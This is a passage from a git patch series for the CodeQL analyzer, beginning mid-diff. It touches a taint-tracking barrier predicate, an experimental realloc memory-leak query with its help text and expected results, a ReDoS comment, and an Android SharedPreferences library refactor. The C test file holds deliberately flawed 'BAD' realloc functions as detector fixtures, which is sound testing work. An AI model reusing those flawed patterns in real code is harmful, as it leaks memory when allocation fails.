a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -545,8 +545,8 @@ module TaintedWithPath { /** Override this to specify which elements are sinks in this configuration. */ abstract predicate isSink(Element e); - /** Override this to specify additional barriers in this configuration. */ - predicate isAdditionalBarrier(Expr node) { none() } + /** Override this to specify which expressions are barriers in this configuration. */ + predicate isBarrier(Expr e) { nodeIsBarrier(getNodeForExpr(e)) } /** * Override this predicate to `any()` to allow taint to flow through global @@ -582,10 +582,8 @@ module TaintedWithPath { } override predicate isBarrier(DataFlow::Node node) { - nodeIsBarrier(node) - or exists(TaintTrackingConfiguration cfg, Expr e | - cfg.isAdditionalBarrier(e) and node = getNodeForExpr(e) + cfg.isBarrier(e) and node = getNodeForExpr(e) ) } From d7f31ca1a0d401feb4f697abe0150bdc989abc39 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 6 Jan 2021 22:17:26 +0300 Subject: [PATCH 0443/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp Co-authored-by: Geoffrey White <40627776+geoffw0@users.noreply.github.com> --- .../CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp index 3a6da51b91a..c16e221e622 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp @@ -4,7 +4,7 @@ <qhelp> <overview> <p>Memory leak on failed call to realloc. -The expression mem = realloc (mem, size) is potentially dangerous, if the call fails, we will lose the pointer to the memory block. +The expression <code>mem = realloc (mem, size)</code> is potentially dangerous, if the call fails, we will lose the pointer to the memory block. An unsuccessful call is possible not only when trying to allocate a large amount of memory, but also when the process memory is strongly segmented.</p> <p>False positives include code in which immediately after calling the realloc function, the pointer is manipulated without first checking for validity. @@ -35,4 +35,4 @@ At this stage, false positives are also possible in situations where the excepti </li> </references> -</qhelp> \ No newline at end of file +</qhelp> From f7eb328f7680702904e7682f5c24a32116035620 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 6 Jan 2021 22:18:14 +0300 Subject: [PATCH 0444/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp Co-authored-by: Geoffrey White <40627776+geoffw0@users.noreply.github.com> --- .../Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp index c16e221e622..14dcff74a25 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.qhelp @@ -19,7 +19,7 @@ At this stage, false positives are also possible in situations where the excepti </recommendation> <example> -<p>The following example demonstrates an erroneous and corrected use of the realloc function.</p> +<p>The following example demonstrates an erroneous and corrected use of the <code>realloc</code> function.</p> <sample src="MemoryLeakOnFailedCallToRealloc.c" /> </example> From 2b8227e04dcaf0a0c7c6d1f56fbcbb76fa6e1e63 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 6 Jan 2021 22:23:46 +0300 Subject: [PATCH 0445/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql Co-authored-by: Geoffrey White <40627776+geoffw0@users.noreply.github.com> --- .../Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index 1d2c8f528de..c425ed76bc0 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -14,6 +14,9 @@ import cpp import semmle.code.cpp.dataflow.DataFlow +/** + * A call to `realloc` of the form `v = realloc(v, size)`, for some variable `v`. + */ class ReallocCallLeak extends FunctionCall { ReallocCallLeak() { exists(AssignExpr ex, Variable v, VariableAccess va1, VariableAccess va2 | From abdeaabd779ebd0ba8cc4bf0e37c9b0aa8dc28ce Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 6 Jan 2021 22:46:03 +0300 Subject: [PATCH 0446/1241] Update MemoryLeakOnFailedCallToRealloc.ql --- .../Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index c425ed76bc0..5ec4af3b4ce 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -1,13 +1,13 @@ /** * @name Memory leak on failed call to realloc * @description The expression mem = realloc (mem, size) is potentially dangerous, if the call fails, we will lose the pointer to the memory block. - * An unsuccessful call is possible not only when trying to allocate a large amount of memory, but also when the process memory is strongly segmented. * We recommend storing the result in a temporary variable and eliminating memory leak. * @kind problem * @id cpp/memory-leak-on-failed-call-to-realloc * @problem.severity warning * @precision medium - * @tags security + * @tags correctness + * security * external/cwe/cwe-401 */ From e00db46d602f4d7797c59270c6a74bbcec669632 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 7 Jan 2021 09:19:13 +0100 Subject: [PATCH 0447/1241] Minor code quality improvements --- .../extractor/Semmle.Extraction/Entities/GeneratedLocation.cs | 2 +- csharp/extractor/Semmle.Extraction/Entities/Location.cs | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs b/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs index 6d05263aecd..31b5f55b0e6 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/GeneratedLocation.cs @@ -28,7 +28,7 @@ namespace Semmle.Extraction.Entities public override bool Equals(object? obj) => obj != null && obj.GetType() == typeof(GeneratedLocation); - public static GeneratedLocation Create(Context cx) => GeneratedLocationFactory.Instance.CreateEntity(cx, typeof(GeneratedLocation), null); + public static new GeneratedLocation Create(Context cx) => GeneratedLocationFactory.Instance.CreateEntity(cx, typeof(GeneratedLocation), null); private class GeneratedLocationFactory : ICachedEntityFactory<string?, GeneratedLocation> { diff --git a/csharp/extractor/Semmle.Extraction/Entities/Location.cs b/csharp/extractor/Semmle.Extraction/Entities/Location.cs index 1c3152d27c8..b25436e9a41 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Location.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Location.cs @@ -20,7 +20,6 @@ namespace Semmle.Extraction.Entities return cx.SourceTree == null ? GeneratedLocation.Create(cx) : Create(cx, Microsoft.CodeAnalysis.Location.Create(cx.SourceTree, TextSpan.FromBounds(0, 0))); - } public override Microsoft.CodeAnalysis.Location? ReportingLocation => symbol; From 7e21081b70925f8764637af57d7dbbbe6940460c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 7 Jan 2021 12:06:12 +0100 Subject: [PATCH 0448/1241] add comment about regexp detected by js/polynomial-redos --- javascript/ql/src/Performance/ReDoS.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 2e1d6580693..8d33e7bc507 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -195,7 +195,7 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { // (every epsilon-loop must contain such a state). // // We additionally require that the there exists another InfiniteRepetitionQuantifier `mid` on the path from `q` to itself. - // This is done to avoid flagging regular expressions such as `/(a?)*b/` - that only has polynomial runtime. + // This is done to avoid flagging regular expressions such as `/(a?)*b/` - that only has polynomial runtime, and is detected by `js/polynomial-redos`. // The below code is therefore a heuritic, that only flags regular expressions such as `/(a*)*b/`, // and does not flag regular expressions such as `/(a?b?)c/`, but the latter pattern is not used frequently. r1 = r2 and From 592cd284e8eb489ae0cc5852d2f598cc0761f000 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 7 Jan 2021 15:41:31 +0300 Subject: [PATCH 0449/1241] Update test.c --- .../Security/CWE/CWE-401/semmle/tests/test.c | 190 ++++++++++++++++-- 1 file changed, 178 insertions(+), 12 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c index 116934338c0..fcf60467ba9 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -1,8 +1,32 @@ #define size_t int #define NULL ((void*)0) +#define assert(x) if (!(x)) __assert_fail(#x,__FILE__,__LINE__) +void __assert_fail(const char *assertion, const char *file, int line) { } -unsigned char * badResize0(unsigned char * buffer,size_t currentSize,size_t newSize) +void aFakeFailed_1(int file, int line) +{ +} +void aFailed_1(int file, int line) +{ + exit(0); +} +void aFailed_2(int file, int line, int ex) +{ + if(ex == 1) + exit(0); + else + return; +} +#define F_NUM 1 +#define myASSERT_1(expr) \ + if (!(expr)) \ + aFailed_1(F_NUM, __LINE__) +#define myASSERT_2(expr) \ + if (!(expr)) \ + aFailed_2(F_NUM, __LINE__, 1) + +unsigned char * badResize_0(unsigned char * buffer,size_t currentSize,size_t newSize) { // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) @@ -12,7 +36,7 @@ unsigned char * badResize0(unsigned char * buffer,size_t currentSize,size_t newS return buffer; } -unsigned char * goodResize0(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * goodResize_0(unsigned char * buffer,size_t currentSize,size_t newSize) { // GOOD: this way we will exclude possible memory leak unsigned char * tmp; @@ -29,7 +53,7 @@ unsigned char * goodResize0(unsigned char * buffer,size_t currentSize,size_t new buffer = tmp; return buffer; } -unsigned char * badResize1(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * badResize_1_0(unsigned char * buffer,size_t currentSize,size_t newSize) { if(!buffer) exit(0); @@ -41,7 +65,7 @@ unsigned char * badResize1(unsigned char * buffer,size_t currentSize,size_t newS return buffer; } -unsigned char * noBadResize1(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * noBadResize_1_0(unsigned char * buffer,size_t currentSize,size_t newSize) { // GOOD: program to end if (currentSize < newSize) @@ -52,7 +76,7 @@ unsigned char * noBadResize1(unsigned char * buffer,size_t currentSize,size_t ne exit(0); return buffer; } -unsigned char * noBadResize1e(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * noBadResize_1_1(unsigned char * buffer,size_t currentSize,size_t newSize) { // GOOD: program to end if (currentSize < newSize) @@ -64,28 +88,107 @@ unsigned char * noBadResize1e(unsigned char * buffer,size_t currentSize,size_t n else exit(0); } -unsigned char * noBadResize1o(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * noBadResize_1_2(unsigned char * buffer,size_t currentSize,size_t newSize) { // GOOD: program to end if (currentSize < newSize) { if(buffer = (unsigned char *)realloc(buffer, newSize)) - exit(0); + exit(0); } return buffer; } -unsigned char * badResize2(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * noBadResize_1_3(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + if(!buffer) + aFailed_1(1, 1); + return buffer; +} +unsigned char * noBadResize_1_4(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + if(buffer) + return buffer; + else + aFailed_1(1, 1); +} +unsigned char * noBadResize_1_5(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + if(buffer = (unsigned char *)realloc(buffer, newSize)) + aFailed_1(1, 1); + } + return buffer; +} +unsigned char * badResize_1_1(unsigned char * buffer,size_t currentSize,size_t newSize) { - assert(buffer!=0); // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { buffer = (unsigned char *)realloc(buffer, newSize); } + if(!buffer) + aFakeFailed_1(1, 1); + return buffer; +} + +unsigned char * noBadResize_1_6(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + if(!buffer) + aFailed_2(1, 1, 1); + return buffer; +} +unsigned char * noBadResize_1_7(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + if(buffer) + return buffer; + else + aFailed_2(1, 1, 1); +} +unsigned char * noBadResize_1_8(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + if(buffer = (unsigned char *)realloc(buffer, newSize)) + aFailed_2(1, 1, 1); + } + return buffer; +} + +unsigned char * badResize_2_0(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block + assert(buffer!=0); + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } return buffer; } -unsigned char * noBadResize2(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * noBadResize_2_0(unsigned char * buffer,size_t currentSize,size_t newSize) { // GOOD: program to end if (currentSize < newSize) @@ -96,7 +199,7 @@ unsigned char * noBadResize2(unsigned char * buffer,size_t currentSize,size_t ne return buffer; } -unsigned char * noBadResize2e(unsigned char * buffer,size_t currentSize,size_t newSize) +unsigned char * noBadResize2e_2_1(unsigned char * buffer,size_t currentSize,size_t newSize) { // GOOD: program to end if (currentSize < newSize) @@ -105,4 +208,67 @@ unsigned char * noBadResize2e(unsigned char * buffer,size_t currentSize,size_t n } assert(buffer!=0); return buffer; -} \ No newline at end of file +} +unsigned char * noBadResize_2_2(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + assert(buffer); + } + return buffer; +} + +unsigned char * noBadResize_2_3(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + assert(buffer); + return buffer; +} +unsigned char * noBadResize_2_4(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + myASSERT_1(buffer); + } + return buffer; +} + +unsigned char * noBadResize_2_5(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + myASSERT_1(buffer); + return buffer; +} +unsigned char * noBadResize_2_6(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + myASSERT_2(buffer); + } + return buffer; +} + +unsigned char * noBadResize_2_7(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + myASSERT_2(buffer); + return buffer; +} From f378c1465905468b2f69a784711341add7f16228 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 7 Jan 2021 15:43:58 +0300 Subject: [PATCH 0450/1241] Update MemoryLeakOnFailedCallToRealloc.expected --- .../semmle/tests/MemoryLeakOnFailedCallToRealloc.expected | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected index 9a0e9e36781..c9b574fe315 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected @@ -1,3 +1,4 @@ -| test.c:10:29:10:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | -| test.c:39:29:39:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | -| test.c:83:29:83:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:34:29:34:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:63:29:63:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:139:29:139:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:186:29:186:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | From 2d6dafc6bec892f60102d8cfe7eea159f033135d Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 7 Jan 2021 15:44:50 +0300 Subject: [PATCH 0451/1241] Update MemoryLeakOnFailedCallToRealloc.ql --- .../MemoryLeakOnFailedCallToRealloc.ql | 35 ++++++++++--------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index 5ec4af3b4ce..1ba57f55f09 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -18,8 +18,10 @@ import semmle.code.cpp.dataflow.DataFlow * A call to `realloc` of the form `v = realloc(v, size)`, for some variable `v`. */ class ReallocCallLeak extends FunctionCall { + Variable v; + ReallocCallLeak() { - exists(AssignExpr ex, Variable v, VariableAccess va1, VariableAccess va2 | + exists(AssignExpr ex, VariableAccess va1, VariableAccess va2 | this.getTarget().hasName("realloc") and this = ex.getRValue() and va1 = ex.getLValue() and @@ -31,31 +33,32 @@ class ReallocCallLeak extends FunctionCall { predicate isExistsIfWithExitCall() { exists(IfStmt ifc | - exists(Variable v, DataFlow::Node source, DataFlow::Node sink | - DataFlow::localFlow(source, sink) and - source.asExpr() = this.getArgument(0) and - this.getArgument(0) = v.getAnAccess() and - ifc.getEnclosingFunction() = this.getEnclosingFunction() and - ifc.getLocation().getStartLine() >= this.getArgument(0).getLocation().getStartLine() and - v.getAnAccess() = ifc.getCondition().getAChild*() and - sink.asExpr() = v.getAnAccess() - ) and + this.getArgument(0) = v.getAnAccess() and + ifc.getCondition().getAChild*() = v.getAnAccess() and + ifc.getEnclosingFunction() = this.getEnclosingFunction() and + ifc.getLocation().getStartLine() >= this.getArgument(0).getLocation().getStartLine() and exists(FunctionCall fc | - fc.getEnclosingFunction() = this.getEnclosingFunction() and fc.getTarget().hasName("exit") and + fc.getEnclosingFunction() = this.getEnclosingFunction() and + (ifc.getThen().getAChild*() = fc or ifc.getElse().getAChild*() = fc) + ) + or + exists(FunctionCall fc, FunctionCall ftmp1, FunctionCall ftmp2 | + ftmp1.getTarget().hasName("exit") and + ftmp2.(ControlFlowNode).getASuccessor*() = ftmp1 and + fc = ftmp2.getEnclosingFunction().getACallToThisFunction() and + fc.getEnclosingFunction() = this.getEnclosingFunction() and (ifc.getThen().getAChild*() = fc or ifc.getElse().getAChild*() = fc) ) ) } predicate isExistsAssertWithArgumentCall() { - exists(FunctionCall fc, Variable v, VariableAccess va1, VariableAccess va2 | - fc.getTarget().hasName("assert") and + exists(FunctionCall fc | + fc.getTarget().hasName("__assert_fail") and this.getEnclosingFunction() = fc.getEnclosingFunction() and fc.getLocation().getStartLine() > this.getArgument(0).getLocation().getEndLine() and - va2 = this.getArgument(0) and - va1 = v.getAnAccess() and - va2 = v.getAnAccess() + fc.getArgument(0).toString().matches("%" + this.getArgument(0).toString() + "%") ) } } From b54e5b1c4977d7a0c8e320893914cac927926863 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Thu, 7 Jan 2021 12:44:59 +0000 Subject: [PATCH 0452/1241] Revamp the library module --- .../CWE-312/CleartextStorageSharedPrefs.ql | 24 ++-- .../frameworks/android/SharedPreferences.qll | 103 ++++++++---------- 2 files changed, 58 insertions(+), 69 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql index e82430a7464..fcfe3f82651 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql @@ -18,7 +18,7 @@ import semmle.code.java.security.SensitiveActions /** Holds if the method call is a setter method of `SharedPreferences`. */ private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) { exists(MethodAccess m | - m.getMethod() instanceof SharedPreferences::SetPreferenceMethod and + m.getMethod() instanceof PutSharedPreferenceMethod and input = m.getArgument(1) and not exists(EncryptedValueFlowConfig conf | conf.hasFlow(_, DataFlow::exprNode(input))) and sharedPrefs.asExpr() = m.getQualifier() @@ -28,7 +28,7 @@ private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) /** Holds if the method call is the store method of `SharedPreferences`. */ private predicate sharedPreferencesStore(DataFlow::Node sharedPrefs, Expr store) { exists(MethodAccess m | - m.getMethod() instanceof SharedPreferences::StorePreferenceMethod and + m.getMethod() instanceof StoreSharedPreferenceMethod and store = m and sharedPrefs.asExpr() = m.getQualifier() ) @@ -41,7 +41,7 @@ class SharedPreferencesFlowConfig extends DataFlow::Configuration { } override predicate isSource(DataFlow::Node src) { - src.asExpr() instanceof SharedPreferencesEditor + src.asExpr() instanceof SharedPreferencesEditorMethodAccess } override predicate isSink(DataFlow::Node sink) { @@ -56,7 +56,7 @@ class SharedPreferencesFlowConfig extends DataFlow::Configuration { */ class EncryptedSensitiveMethodAccess extends MethodAccess { EncryptedSensitiveMethodAccess() { - getMethod().getName().toLowerCase().matches(["%encrypt%", "%hash%"]) + this.getMethod().getName().toLowerCase().matches(["%encrypt%", "%hash%"]) } } @@ -70,7 +70,7 @@ class EncryptedValueFlowConfig extends DataFlow5::Configuration { override predicate isSink(DataFlow5::Node sink) { exists(MethodAccess ma | - ma.getMethod() instanceof SharedPreferences::SetPreferenceMethod and + ma.getMethod() instanceof PutSharedPreferenceMethod and sink.asExpr() = ma.getArgument(1) ) } @@ -83,18 +83,18 @@ private class EncryptedSharedPrefFlowConfig extends DataFlow4::Configuration { } override predicate isSource(DataFlow4::Node src) { - src.asExpr().(MethodAccess).getMethod() instanceof SharedPreferences::CreateEncryptedMethod + src.asExpr().(MethodAccess).getMethod() instanceof CreateEncryptedSharedPreferencesMethod } override predicate isSink(DataFlow4::Node sink) { - sink.asExpr().getType() instanceof SharedPreferences::TypeBase + sink.asExpr().getType() instanceof SharedPreferences } } /** The call to get a `SharedPreferences.Editor` object, which can set shared preferences or be stored to device. */ -class SharedPreferencesEditor extends MethodAccess { - SharedPreferencesEditor() { - this.getMethod() instanceof SharedPreferences::GetEditorMethod and +class SharedPreferencesEditorMethodAccess extends MethodAccess { + SharedPreferencesEditorMethodAccess() { + this.getMethod() instanceof GetSharedPreferencesEditorMethod and not exists( EncryptedSharedPrefFlowConfig config // not exists `SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(...)` | @@ -132,7 +132,7 @@ private class SensitiveSharedPrefsFlowConfig extends TaintTracking::Configuratio override predicate isSink(DataFlow::Node sink) { exists(MethodAccess m | - m.getMethod() instanceof SharedPreferences::SetPreferenceMethod and + m.getMethod() instanceof PutSharedPreferenceMethod and sink.asExpr() = m.getArgument(1) ) } @@ -154,7 +154,7 @@ class SensitiveSharedPrefsSource extends Expr { } } -from SensitiveSharedPrefsSource data, SharedPreferencesEditor s, Expr input, Expr store +from SensitiveSharedPrefsSource data, SharedPreferencesEditorMethodAccess s, Expr input, Expr store where input = s.getAnInput() and store = s.getAStore() and diff --git a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll index 28816eabd2d..f526f1c272b 100644 --- a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll +++ b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll @@ -1,62 +1,51 @@ -/** Provides classes related to `android.content.SharedPreferences`. */ - import java -/** Definitions related to `android.content.SharedPreferences`. */ -module SharedPreferences { - /** The interface `android.content.SharedPreferences` */ - class TypeBase extends Interface { - TypeBase() { hasQualifiedName("android.content", "SharedPreferences") } - } +/** The interface `android.content.SharedPreferences`. */ +class SharedPreferences extends Interface { + SharedPreferences() { this.hasQualifiedName("android.content", "SharedPreferences") } +} - /** The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ - class TypeEncrypted extends Class { - TypeEncrypted() { hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") } - } - - /** The create method of `androidx.security.crypto.EncryptedSharedPreferences` */ - class CreateEncryptedMethod extends Method { - CreateEncryptedMethod() { - getDeclaringType() instanceof TypeEncrypted and - hasName("create") - } - } - - /** A getter method of `android.content.SharedPreferences`. */ - class GetPreferenceMethod extends Method { - GetPreferenceMethod() { - getDeclaringType() instanceof TypeBase and - getName().matches("get%") - } - } - - /** Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ - class GetEditorMethod extends Method { - GetEditorMethod() { - getDeclaringType() instanceof TypeBase and - hasName("edit") and - getReturnType() instanceof TypeEditor - } - } - - /** Definitions related to `android.content.SharedPreferences.Editor`. */ - class TypeEditor extends Interface { - TypeEditor() { hasQualifiedName("android.content", "SharedPreferences$Editor") } - } - - /** A setter method for `android.content.SharedPreferences`. */ - class SetPreferenceMethod extends Method { - SetPreferenceMethod() { - getDeclaringType() instanceof TypeEditor and - getName().matches("put%") - } - } - - /** A setter method for `android.content.SharedPreferences`. */ - class StorePreferenceMethod extends Method { - StorePreferenceMethod() { - getDeclaringType() instanceof TypeEditor and - hasName(["commit", "apply"]) - } +/** The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ +class EncryptedSharedPreferences extends Class { + EncryptedSharedPreferences() { + this.hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") + } +} + +/** The `create` method of `androidx.security.crypto.EncryptedSharedPreferences`. */ +class CreateEncryptedSharedPreferencesMethod extends Method { + CreateEncryptedSharedPreferencesMethod() { + this.getDeclaringType() instanceof EncryptedSharedPreferences and + this.hasName("create") + } +} + +/** Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ +class GetSharedPreferencesEditorMethod extends Method { + GetSharedPreferencesEditorMethod() { + this.getDeclaringType() instanceof SharedPreferences and + this.hasName("edit") and + this.getReturnType() instanceof SharedPreferencesEditor + } +} + +/** The interface `android.content.SharedPreferences.Editor`. */ +class SharedPreferencesEditor extends Interface { + SharedPreferencesEditor() { this.hasQualifiedName("android.content", "SharedPreferences$Editor") } +} + +/** A method that updates a key-value pair in a `android.content.SharedPreferences` through a `SharedPreferences.Editor`. The value is not written until a `StorePreferenceMethod` is called. */ +class PutSharedPreferenceMethod extends Method { + PutSharedPreferenceMethod() { + this.getDeclaringType() instanceof SharedPreferencesEditor and + this.getName().matches("put%") + } +} + +/** A method on `SharedPreferences.Editor` that writes the pending changes to the underlying `android.content.SharedPreferences`. */ +class StoreSharedPreferenceMethod extends Method { + StoreSharedPreferenceMethod() { + this.getDeclaringType() instanceof SharedPreferencesEditor and + this.hasName(["commit", "apply"]) } } From 2aa59a3f8b1bf0ca016e6444f012f225d051c4ee Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 6 Jan 2021 20:10:14 +0100 Subject: 